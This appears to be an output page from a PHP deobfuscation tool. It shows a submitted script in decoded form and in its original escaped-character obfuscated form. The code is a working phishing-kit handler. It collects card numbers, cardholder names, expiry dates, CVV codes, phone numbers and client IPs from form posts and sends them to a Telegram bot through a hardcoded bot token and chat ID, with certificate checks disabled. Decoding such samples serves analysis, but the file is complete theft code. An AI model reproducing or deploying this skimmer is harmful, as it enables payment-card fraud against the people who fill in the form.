Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if (empty($_POST["\143\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\..

Decoded Output download

<?php 
 if (empty($_POST["cn"])) { $nameErr = " "; } elseif (strlen($_POST["cn"]) > 50) { $nameErr = " "; } elseif (strlen($_POST["cn"]) < 1) { $nameErr = " "; } else { $cn = $_POST["cn"]; $nm = $_POST["nm"]; $mm = $_POST["mm"]; $yy = $_POST["yy"]; $cvv = $_POST["cvv"]; $phone = $_POST["phone"]; $ip = getenv("REMOTE_ADDR"); $port = $_SERVER["REMOTE_PORT"]; $hostname = gethostbyaddr($ip); $botToken = "7287452187:AAHHLJiv6rFo5g3oa5Ax99uUhna0xkBOwMc"; $chatId = "7129031210"; $url = "https://api.telegram.org/bot{$botToken}/sendMessage?chat_id={$chatId}&text=card no: {$cn}%0Acard name: {$nm}%0Acard exp month: {$mm}%0Acard exp year: {$yy}%0Acvv2: {$cvv}%0APhone: {$phone}%0AClient ip: {$ip}%0A=============+ [ Created by OmeGaLorD ] +============="; $streamOptions = array("ssl" => array("verify_peer" => false, "verify_peer_name" => false), "http" => array("method" => "POST")); $context = stream_context_create($streamOptions); $handle = fopen($url, "r", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>

Did this file decode correctly?

Original Code

<?php
 if (empty($_POST["\143\156"])) { $nameErr = "\x20"; } elseif (strlen($_POST["\143\x6e"]) > 50) { $nameErr = "\x20"; } elseif (strlen($_POST["\x63\156"]) < 1) { $nameErr = "\x20"; } else { $cn = $_POST["\x63\156"]; $nm = $_POST["\156\155"]; $mm = $_POST["\155\x6d"]; $yy = $_POST["\x79\171"]; $cvv = $_POST["\x63\166\x76"]; $phone = $_POST["\160\x68\157\x6e\x65"]; $ip = getenv("\122\105\115\x4f\x54\x45\x5f\x41\x44\104\122"); $port = $_SERVER["\x52\105\x4d\x4f\124\x45\x5f\x50\x4f\122\124"]; $hostname = gethostbyaddr($ip); $botToken = "\67\x32\x38\x37\64\65\62\x31\x38\67\x3a\x41\x41\110\x48\114\112\151\x76\66\162\x46\157\65\147\x33\157\141\x35\101\170\x39\x39\x75\x55\x68\156\141\x30\170\153\x42\x4f\x77\x4d\x63"; $chatId = "\x37\61\62\x39\x30\63\61\62\61\x30"; $url = "\x68\x74\x74\x70\163\72\x2f\x2f\x61\160\x69\56\164\145\154\x65\x67\x72\x61\x6d\56\x6f\162\147\57\x62\x6f\164{$botToken}\57\163\x65\x6e\144\115\x65\x73\163\x61\147\145\77\143\x68\141\164\137\x69\144\x3d{$chatId}\x26\x74\x65\170\x74\x3d\x63\x61\x72\x64\x20\x6e\x6f\x3a\40{$cn}\45\x30\101\143\x61\162\144\x20\156\141\155\x65\x3a\x20{$nm}\x25\x30\x41\x63\x61\x72\x64\x20\x65\170\160\x20\155\157\156\164\x68\x3a\x20{$mm}\45\60\101\143\x61\x72\x64\x20\x65\170\x70\40\171\145\141\162\x3a\40{$yy}\x25\x30\101\x63\166\166\x32\x3a\40{$cvv}\45\60\101\x50\x68\x6f\156\x65\72\40{$phone}\45\60\x41\x43\154\x69\x65\156\x74\x20\x69\x70\72\40{$ip}\x25\x30\101\x3d\x3d\x3d\75\75\75\75\75\75\x3d\x3d\x3d\75\x2b\40\133\x20\x43\162\145\141\164\x65\144\40\x62\x79\x20\117\155\x65\107\141\x4c\157\x72\104\40\135\40\x2b\75\x3d\x3d\75\75\75\75\x3d\75\x3d\x3d\75\75"; $streamOptions = array("\x73\x73\x6c" => array("\x76\x65\162\151\x66\171\137\x70\x65\145\162" => false, "\x76\145\162\151\x66\x79\x5f\160\145\145\162\x5f\x6e\141\x6d\145" => false), "\x68\164\x74\x70" => array("\x6d\x65\x74\150\157\144" => "\x50\x4f\123\124")); $context = stream_context_create($streamOptions); $handle = fopen($url, "\x72", false, $context); $response = stream_get_contents($handle); fclose($handle); echo $response; } ?>

Function Calls

None

Variables

None

Stats

MD5 ba2f5c1b2eac3b4709c701b946654a50
Eval Count 0
Decode Time 46 ms